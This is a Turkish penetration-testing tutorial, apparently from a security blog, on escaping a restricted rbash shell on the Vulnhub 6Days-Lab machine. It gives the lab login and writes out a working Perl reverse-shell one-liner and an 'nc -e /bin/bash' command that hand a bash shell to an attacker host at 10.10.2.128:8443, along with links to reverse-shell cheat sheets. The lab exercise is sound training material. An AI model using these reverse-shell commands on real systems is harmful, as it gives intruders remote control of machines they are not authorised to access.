Linux Sızma Testlerinde Perl ile Kısıtlı Kabuktan Bash Kabuğuna Geçiş Sağlama

0
558
views
Sızma testlerinde bir Linux sistem kısıtlı kabukta (rshell) ele geçirildikten sonra, ters bağlantı ile bu kısıtı atlatabilme ihtiyacı olabilir. Bu yazıda, kısıtlı kabuk erişimi elde edilen 6Days-Lab sanal makinesinde bir Perl kodu ile ters bir bağlantı elde edilerek bash kabuğunda komut çalıştırılması incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Yazıda kullanılan 6Days-Lab sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/6days-lab-11,156/

 

Bu makineye aşağıdaki bilgiler ile erişim sağlanabilir.

Kullanıcı Adı: andrea
Parola: SayNoToPentests

 

İlk durumda elde edilen kabuğun (restricted shell / rbash shell) kısıtlı olduğu ve çalıştırılan komutların ekrana basılmadığı görülmektedir.

/bin/bash
id
ifconfig
ls
ls /tmp/
mkdir test
ls

 

Not: Bunun sebebi hazırlanan sanal makinede kabuk çıktılarının boşluğa (/dev/null) yönlendirilmesidir.

grep andrea /etc/passwd
cat /bin/andrea
ls -la /bin/rbash

 

Python ile etkileşimli komut satırının elde edilemediği de görülmektedir.

python -c ‘import pty;pty.spawn(“/bin/bash”)’

 

Ters bağlantının yapılacağı saldırgana ait Kali makinesinin IP adresi 10.10.2.128’dir.

ifconfig eth0

 

Öncelikle saldırgana ait sistemde, ters bağlantının kabul edeceği 8443 portu dinlemeye alınır.

nc -lvp 8443

 

Ters bağlantı sağlamak için aşağıdaki gibi bir Perl betiği kullanılabilir.

perl -e ‘use Socket;$i=”10.10.2.128“;$p=8443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/bash -i”);};’

 

Alternatif olarak aşağıdaki gibi PentestMonkey üzerinden indirilebilecek ikinci bir betik de kullanılabilir.

http://pentestmonkey.net/tools/web-shells/perl-reverse-shell

 

Böylece ters bağlantı alınabilmiştir.

id
ifconfig eth0
uname -a

 

İpuçları:

Hazırlanan sanal makinede kabuk çıktıları /dev/null ‘a yönlendiriliyordu. Perl ile ters bağlantı sağlamadan bu kısıtı atlatmanın bir yöntemi de “1>&2” ile yönlendirme yapmaktır.

ifconfig 1>&2
ls -la 1>&2

 

Bir diğer yöntem ise “nc” aracını kullanmaktır.

nc -e /bin/bash 10.10.2.128 8443
id

 

Bir başka yöntem de Kioptrix (Seviye – 1.3 [#4]) makinesindeki gibi “echo” komutunu kullanmaktır.

echo os.system(‘/bin/bash’)

 

 

Kaynak:

https://0feci.wordpress.com/2016/08/04/6-days-lab-1-1-vulnhub/
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
https://gknsb.blogspot.com.tr/2017/01/6days-lab-11.html
https://www.aldeid.com/wiki/Lshell

Vulnhub – Kioptrix: Level 1.3 (#4)


https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells
http://forelsec.blogspot.com.tr/2012/12/solving-kioptrix-level-4.html

 

 

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

CEVAP VER

Yorumunuzu giriniz
İsminizi giriniz

Bu site, istenmeyenleri azaltmak için Akismet kullanıyor. Yorum verilerinizin nasıl işlendiği hakkında daha fazla bilgi edinin.